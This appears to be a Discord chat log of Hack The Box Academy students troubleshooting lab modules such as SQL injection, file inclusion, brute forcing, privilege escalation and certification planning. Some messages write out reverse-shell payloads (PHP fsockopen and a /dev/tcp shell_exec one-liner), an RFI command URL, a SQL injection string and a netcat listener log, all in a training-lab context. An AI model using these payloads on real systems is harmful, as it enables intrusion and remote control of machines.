first if you are having connection issue make sure you don't have both your vpn and the pwnbox on at the same time and if you are using the vpn try changing the vpn server and if you are on the pwnbox HTB academy recently have some down time so thing maybe a bit slower than normal and finally if you have Silver Annual you have 1 on 1 tutoring so if you suspect the issue is an internal one you can discuss it with your tutor

vital adder
#

i have no idea what you mean by that but if the spoiler thing is you have to run that command against the DC to the user in the question then there is other ways of finding the user not the exploit part

#

also if you can't discuss this without spoiler then feel free to shot me a dm

pulsar needle
#

Password attacks easy, I cannot find root's password (||I am guessing that I am not supposed to brute force since I got the user mike||)

pulsar needle
vital adder
pulsar needle
#

aaaa ok

quick hedge
#

Hello, I am currently on the File Inclusion module and the SMB portion does not seem to work for me. I have looked through the past comments and none of them are not working. Can someone point me in the right direction? I am using this command: http://<SERVER_IP>:<PORT>/index.php?language=\<OUR_IP>\share\shell.php&cmd=whoami I started impacket and made the directory called shel l and copied the php file into it. I have also tried:http://<SERVER_IP>:<PORT>/index.php?language=\<OUR_IP>\shell.php&cmd=whoami taking out the share directory. Is there something I am missing? Thank you in advance for your time.

zinc marsh
#

Is there someone I could dm about some doubts please? I don't get it works

vital adder
wanton estuary
#

Anyone had issues with ssh service breaking on tunneling using icmp? I can ping the box but can't ssh in and my ssh session I had had died. Reverting the box allows you to login again for a couple of mins before breaking. Tested using kali vm and using the parrot attack box.

quick hedge
vital adder
#

also it's not a SMB section

vital adder
wanton estuary
#

I do.

pulsar needle
#

lol

vital adder
vital adder
wanton estuary
#

I used parrot to compile ptunnel as if you get compatability issues compiling on kali

#

Thanks mrtom

pulsar needle
#

Ive checked the bash history and found nothing of interest

#

just some ||dickens|| file

#

lol

vital adder
#

hint if you found something that can use as a passwod then that's the Fing flag

quick hedge
vital adder
gloomy bramble
drifting glacier
#

Anyone around that has done case 5 in the sqlmap essentials module, the Attack Tuning section?

#

I've managed to get content to dump, but my flag is not being accepted, want to run what I have by someone and confirm if this is indeed incorrect...

elfin cedar
#

😭

#

I try following along and use admin'-- as the username and I get an error. Something so simple like this and it doesnt work

#

ITS RIGGED

trail leaf
#

Relax, you're just not thinking about what's going on behind the scenes. The goal of SQL injection is basically rewriting the query the app is making to the database to return something else.

#

In that first example, we don't know the password, so by injecting admin'-- -, we close out the quotes around the username, and use -- - as a comment to tell the query to ignore everything afterwards.

#

The second query is a bit different, because now we have parentheses in the mix. If you run the query with the payload from before, the parentheses aren't getting closed out, so the query errors out

elfin cedar
#

right but I wasnt able to do the first one

#

I get the error in the second screenshot

#

Am I not supposed to follow along maybe?

trail leaf
#

You're not supposed to follow along, it's a different example

elfin cedar
#

got it

trail leaf
#

It's a chump check to make sure you're not just copying and pasting

elfin cedar
#

thanks!!!!

#

man I get so frustrated

compact carbon
#

Still on the Priv Esc bs trying to get the Root flag. I've pulled the id_rsa but now I'm confused. If I do how the lesson shows even with the CHMod the server refuses it saying (publickey) but if I do the specific port it asks for a password. Was I supposed to pull a different key or am I doing something wrong?

trail leaf
#

Can't help you without knowing the module and section

compact carbon
#

It's Getting Started -> Priveledge Escalation

zinc marsh
compact carbon
trail leaf
#

No part of that walkthrough tells you to use an SSH key

compact carbon
trail leaf
#

Oh wait I was looking at nibbles, my bad

zinc marsh
trail leaf
#

Yeah, you're supposed to use the private key for SSH

zinc marsh
#

if u want to use the pub key u have to add it to /root/.ssh

compact carbon
#

Because I'm not able to cat the private key and that's what I had seen other people doing.

zinc marsh
#

to use ur publick key

compact carbon
#

Unless I'm supposed to pull the private key using scp or something like that.

zinc marsh
compact carbon
#

Then am I looking in the wrong place? Because this is the only ssh directory on the machine.

trail leaf
#

look at the permissions on /root

elfin cedar
#

RIGGED

zinc marsh
compact carbon
#

Now I'm even more confused...

zinc marsh
#

ls -a

elfin cedar
#

sorry, i am kinda slowly getting it. SQL is my weak point. Its embarrassing because it feels like it would be so easy

trail leaf
#

Look at the permissions on /root

rare topaz
#

You can read up Portswigger's and Hacktrick's referencess on SQL injection if you want, i always just copy paste their commands in real CTFs/bbps anyways

high reef
#

i'm doing this question; attached is the hint, I'm running hydra to get the password ofc the hint given isn't the password. But what i wanted to know is how long is it gonna take hydra to get this password been running for 2hrs now and barely got anywhere

#

this section is blowing my mind lol is this what pentesters deal with me holy crap

azure shell
#

please can some one help on how do i use this python file

#

from urllib.request import urlopen
from sys import argv, exit
import threading
from colorama import Fore

def check(url):
''' check given URL is vulnerable or not '''

try:
    if "http" not in url: url = "http://" + url

    data = urlopen(url,timeout=3)
    headers = data.info()

    if not "X-Frame-Options" in headers: return True
    if not "Content-Security-Policy" in headers: return True

except: return False

def listVulnerableSite(url):
f=open("Vulnerable.txt", "a+")
f.write(url+"\n")
f.close()

def main():
try: sites = open(argv[1], 'r').readlines()
except: print("[*] Usage: python3 clickjack.py <file_name>"); exit(0)

for site in sites[0:]:
    status = check(site)

    if status:
        print(Fore.RED+"[+] "+Fore.GREEN+site.split('\n')[0] +Fore.WHITE+ " is "+Fore.RED+"Vulnerable")
        listVulnerableSite(site.split('\n')[0])
    
    elif not status: print(Fore.CYAN+"[-] "+Fore.GREEN+site.split('\n')[0] +Fore.WHITE+ " is "+Fore.CYAN+" NOT Vulnerable")
    else: print(Fore.CYAN+'Every single thing is crashed, Python got mad, dude wtf you just did?')

if name == 'main': main()

vital adder
#

if this isn't in a HTB academy module then you are asking at the wrong place

sleek urchin
zinc marsh
vital adder
zinc marsh
compact carbon
#

Found it. That's the info I needed no wonder I was so lost...

azure shell
vital adder
#

keep asking for thing like that and you will get the 👢 my guy

sly reef
#

how u doing boy

azure shell
#

i paste it on my vs code but dont know what to do next

sly reef
azure shell
#

where do i put the link i wanna check or something i really need some explanation how did this work pleas

sly reef
#

it will tell you

azure shell
#

alright

sly reef
#

execute it and read what asks

vital adder
vital adder
sly reef
#

😦

vital adder
#

i mean if he want to learn he can ask here but pasting a clickjack script and asking how to run it isn't the right way to go

vital adder
#

starting by asking question

zinc marsh
#

then that guy will think is a hacker for running a script he found in internet fingerguns

vital adder
sly reef
#

a good one tho: if "http" not in url: url = "http://" + url kek

zinc marsh
#

it is actually good

#

if u are too lazy to write http:// it just do it for u

sly reef
#

xd

#

I am

azure shell
#

alright

sly reef
compact carbon
#

@trail leaf @zinc marsh Thanks for the help.

azure shell
#

thank you

high reef
#

sso any idea how long hydra gonna take ?

sly reef
#

ah, hydra,

acoustic owl
#

Okay, now I know why 😄

A cool module, but really not difficult.
It was fun to play with Wireshark

high reef
#

password cracking

sly reef
#

you can get a nap

high reef
#

lmfao

#

no way

sly reef
#

wild module

high reef
#

indeed

sly reef
#

don't remember if you are in a slow one but get ready prayge

elfin cedar
#

you love to see it

high reef
#

nah this is slow asf bro

sly reef
vital adder
vital adder
high reef
high reef
vital adder
#

forgot what command i send you but if it's for a section then it's meant to be only for that section

pulsar needle
#

Question for the "Password Attacks Lab - Medium" ||Am I supposed to bruteforce the user named dennis over ssh?||

high reef
sly reef
high reef
sly reef
#

then patience

high reef
#

still moving slower then a snail

vital adder
#

for me it's took 2 sec

sly reef
#

listen the wise squirrel

vital adder
vital adder
high reef
#

like this ?

vital adder
#

i'll send you the one i used but you may want to remove this due to spoilers

hazy grotto
sly reef
fresh pine
#

Anyone know why in Attacking GitLab from ATTACKING COMMON APPLICATIONS the trigger doesnt work for me?? I created a user and did as instructed

hazy grotto
# sly reef Keep it up bro!

Thank you. Been hard stuck with pivot for awhile. Took alot@of time off to work on boxes and sharpen my@skills

#

How are you?

subtle glen
#

windows privesc, pillaging, 3rd question
there is no cookie "d", if i try to make one manually it does not work, how am i supposed to log in?

trail leaf
#

You can add cookies by opening dev tools

#

Should work if you do it manually

acoustic owl
trail leaf
#

Attacking common applications skills assessment is 👌

#

no way they say to try out RopeTwo after that module though kek

analog dock
#

Fun practice 😂

trail leaf
#

the most you do with that one is open gitlab to find the patched chrome browser kek

novel socket
#

Hey

fresh pine
subtle glen
languid juniper
#

Anyone here going after OSCP after they complete CPTS?

thorn urchin
#

yes

trail leaf
thorn urchin
#

in the middle of it

languid juniper
#

I am hoping that completing the CPTS will prepare me for the OSCP

sly reef
languid juniper
#

Thank you brother!

acoustic owl
languid juniper
thorn urchin
#

Im doing their course too

#

I wanted to see how they compare

languid juniper
#

There is a course for roughly 5400.00 that incorporates the Offsec course but keeps you on a study schedule so that you can pass the OSCP in three months.

thorn urchin
#

thats ridiculous

languid juniper
#

I need that structure in order to get out of this boring job

#

it is a lot I know

#

but if I can speed up my progress that is what I would be paying for

thorn urchin
#

offsec has their own study schedule that you dont need to pay 5k for

warm oxide
#

Yo, just a quick question/sanity check
In the module „File Inclusion“, Section „Remote File Inclusion (RFI)“: Do I need to port forward my http/ftp/smb server? The RFI keeps giving me the error „No route to host“ even tho I am connected to the VPN and am using the IP address of the corresponding interface.

languid juniper
#

Ok, maybe I will take that path; after I finish the CPTS I need to get going with it

simple pine
#

My connection was really buggy today, I wasn't sure why. I might try again in an hour and see if it's any different

hallow kiln
languid juniper
#

That just allows from unlimited access, my goal is to get the OSCP asap to get a job in the field of penetration testing. What would you do with the unlimited subscription?

warm oxide
#

Can‘t start it anymore until tomorrow. 😅

#

I will check again then.

fresh pine
acoustic owl
hallow kiln
acoustic owl
languid juniper
#

I am 44 years old, ran and sold my MSP, currently working for an insurance company dealing with ransomware events. I have a good amount of real world experience but am pivoting to penetration testing. Have been getting certification after certification in cyber security. I am hoping that with the OSCP this will be my shot in to a decent job and then allow my skills to further develop.

thorn urchin
#

OSCP helps but the market sucks ass right now

#

5k is still too ridiculous for a study plan even if youve got money to burn.

#

at that price you better be getting 1 on 1 dedicated tutoring

languid juniper
#

What do you recommend if anything?

thorn urchin
#

fwiw I finished CPTS and currently doing the offsec course. bit under 3 weeks in and despite taking an entire weekend off and a couple extra days cause I was sick, Im over 30% done with the entire course already

vital adder
vital adder
thorn urchin
#

someones selling him a study plan for 5k

vital adder
#

oh wtf 🤣

thorn urchin
#

right? maybe after I pass I should start a side hussle selling my study plan for 1k and undercut em 😂

vital adder
#

with the "leak" that i saw even a simple study plan for all of the free or cheap platform would be better or equal to damn course

thorn urchin
#

Dont get me wrong, theres some things ive learned or liked from their newly updated materials, but it feels like panhandling for gold and Id probably have learned the same things just from doing more boxes.

vital adder
#

the latest update was the only good update in while for the course but still 2.5K though

thorn urchin
#

1599

#

you dont have to get the year long sub

vital adder
#

oh that's for the year

tranquil palm
#

guys

thorn urchin
#

1599 for 90 day lab, course materials, and exam attempt

vital adder
#

also want to ask for the lab update are you getting private lab now?

tranquil palm
#

i cant enter the .htb sites

thorn urchin
#

you do

tranquil palm
#

for the mchines

thorn urchin
tranquil palm
#

i did nothing work

thorn urchin
#

then you did it wrong

tranquil palm
#

can you show me how pleas

vital adder
thorn urchin
#
ip_address websitename.htb
tranquil palm
thorn urchin
#

press x to doubt

tranquil palm
#

yea

vital adder
#

so it's better if you ask in the right channels

sleek shell
#

Hi guys, need some help with ''Footprinting-SNMP' task 3 ' Enumerate the custom script that is running on the system and submit its output as the answer.' I do not understand what shell I do...

low crescent
#

In Attacking Common Applications module -> Attacking Gitlab section, the question is "Find another valid user on the target GitLab instance". I have tried blasting away couple of wordlists from the SecLists/Username, and also some other wordlists, against the target, but none of the usernames returned are accepted by the website. Am I missing some something or is it possible that the machine has not been fully setup to return the right one?

vital adder
#

for this one you kinda have to blindly look for the wordlist in seclist so you can use cat on all of the username wordlist and output them into a dump file and use that and i think it only took me like 3-4 min or something like that

#

just use | grep "The username" when you are running the brute forcing tool

quasi wave
#

hi I'm trying to get a reverse shell on this last section of getting started module and I'm putting this into the theme's PHP but I don't see why its not working:

<?php -r '$sock=fsockopen("10.129.42.249",1234);shell_exec("/bin/sh -i <&3 >&3 2>&3");' /?>

I'm following the reverse shell from this web page just like someone on here recommended:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#php

GitHub

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

#

I'm trying to gain root

#

in my terminal on the parrot OS VM I am trying to use netcat but its not giving me any results

trail leaf
#

The payload you have in the code block isn’t valid PHP

#

You copied and pasted the command you’d run in the command line to call PHP, into a PHP file, and it doesn’t work like that

low crescent
# vital adder for this one you kinda have to blindly look for the wordlist in seclist so you c...

I've kinda done that already, with the following:

┌─[eu-academy-2]─[10.10.15.37]─[htb-ac-468575@htb-mz7g8hcrz5]─[~]
└──╼ [★]$ cat /opt/useful/SecLists/Usernames/*.txt | awk '{ print tolower($0) }' | sort | uniq -u > users.txt
┌─[eu-academy-2]─[10.10.15.37]─[htb-ac-468575@htb-mz7g8hcrz5]─[~]
└──╼ [★]$ cat users.txt | wc -l
7466435

But that's been going for a very long time already

trail leaf
#

PentestMonkey script should have you covered

quasi wave
low crescent
quasi wave
#

ok so what if I made it a BASH command

trail leaf
quasi wave
#

ok thanks

vital adder
trail leaf
#

If you want to run command line stuff from a PHP file, you want to use the system() function

<?php system("ANY_COMMAND_YOU_WANT"); ?>
low crescent
trail leaf
thorn urchin
#

also from what I remember of the module, its def advised to get a proper rev shell. working purely through web shell will be a pita for the next part

weary copper
#

hello, can someone help me on zephyr in pm ??

thorn urchin
#

this channel isnt for prolabs

fathom pendant
thorn urchin
vital adder
#

but if you want a hint for the right username wordlist then hint use one of the ||cirt|| one

low crescent
vital adder
#

oh nope i didn't do the filter thing

quasi wave
#

so is this closer:

<?php shell_exec( -r '$sock=fsockopen("10.129.42.249",1234);shell_exec("/bin/sh -i <&3 >&3 2>&3");' )?>
#

wait hold on

low crescent
vital adder
low crescent
#

oh f... I needed to type it in the full-uppercase form and not lowercase. 😐 it accepted it now 🤦‍♂️

vital adder
#

nice 👍

quasi wave
#

this also doesn't work:

<?php shell_exec(sh -i >& /dev/tcp/10.129.42.249/1234 0>&1) ?>
low crescent
#

Why are some questions allowing case-insensitive answers, and others case-sensitive, I'll never understand I guess (especially since here the usernames are not case sensitive) 😅

thorn urchin
quasi wave
#

ok where do I put the quotes?

#

starting before sh and after the 1?

thorn urchin
#

yeah

low crescent
#

Proper syntax is:

function_name('literal argument')

quasi wave
#

this syntax isn't working:

<?php shell_exec('sh -i >& /dev/tcp/10.10.15.25/1234 0>&1') ?>
low crescent
#

You can use either single or double quotes

quasi wave
#

should I change IP?

thorn urchin
#

and also make sure you have a listener

quasi wave
#

I did

low crescent
#

Syntax looks alright. Change the IP to your IP address (ip a) and run the listener on the specified port

low crescent
quasi wave
#

the parrot OS vm which is "my IP address" is 10.10.15.25

#

I did ifconfig

#

so for sure that's my IP

#

the target IP is 10.129.42.249

low crescent
#

And how are you starting the listener?

quasi wave
#

nc -lvnp 1234

#

I do code on left and then submit and then start netcat and then load the new tab and it does nothing

low crescent
#

Okay, from what I see, you are creating a file. To execute that code, you need to open that file in your browser. By pressing the save, you are just saving the changes.

quasi wave
#

I did open file in browser tho

#

I hit save and go to new tab and it doesn't work

#

after I open netcat

low crescent
#

Well, that's weird then. Maybe try changing sh to /bin/sh and see if that works?

quasi wave
#

it still didn't work

#

what would you do at this point?

#

lmao I'm assuming next I go into root folder and get flag once I get root privileges right?

low crescent
#

I would recommend trying another payload. For example, the one you sent previously

quasi wave
#

ok sure

low crescent
#

Just update the IP address

#

Maybe shell_exec is blocked, but you can use some other function which executes system-level commands (e.g. system(), exec(), ...)

quasi wave
#
┌─[us-academy-1]─[10.10.15.25]─[htb-ac-605555@htb-gtt4raddms]─[~]
└──╼ [★]$ nc -lvnp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.129.42.249.
Ncat: Connection from 10.129.42.249:46888.
low crescent
#

To make sure that the file is able to process the PHP code, I would try with a simple:

<?php echo "Test"; ?> and seeing if that helps

quasi wave
#

it got something

#

but its blocked

barren apex
#

Anyone able to give me a hand on the pivotting port forwarding skills assesment, im struck on the final q

quasi wave
#

ya we got a little closer

thorn urchin
#

try hitting enter a couple times then type id

#

sometimes with these revshells you just dont get a prompt up front but its still working

low crescent
barren apex
#

ive tried a double port forward

#

Cant seem to crack the password

low crescent
#

I actually forgot how the skill assessment looks like, but I think you can do pth from the second machine in the chain, no need to do it from your parrot one. But I might be wrong actually

#

It's more of a thought than the answer, sorry 😐

sinful falcon
quasi wave
rapid sparrow
quasi wave
#

I mean it just doesn't give me "the full shell experience I'm used to"

thorn urchin
low crescent
barren apex
#

right

#

ill give that a go

quasi wave
thorn urchin
sinful falcon
low crescent
# barren apex ill give that a go

For example, if you have Host1 -> host2 -> host3 -> host4, and you want to execute PTH to host4, you can maybe do it from the host3 and not host1

thorn urchin
barren apex
rapid sparrow
low crescent
sinful falcon
low crescent
languid juniper
#

Ok, I need a bit of help. I am probably missing a simple step - doing the Footprinting Lab - Easy

#

I have downloaded the id_rsa key from the ftp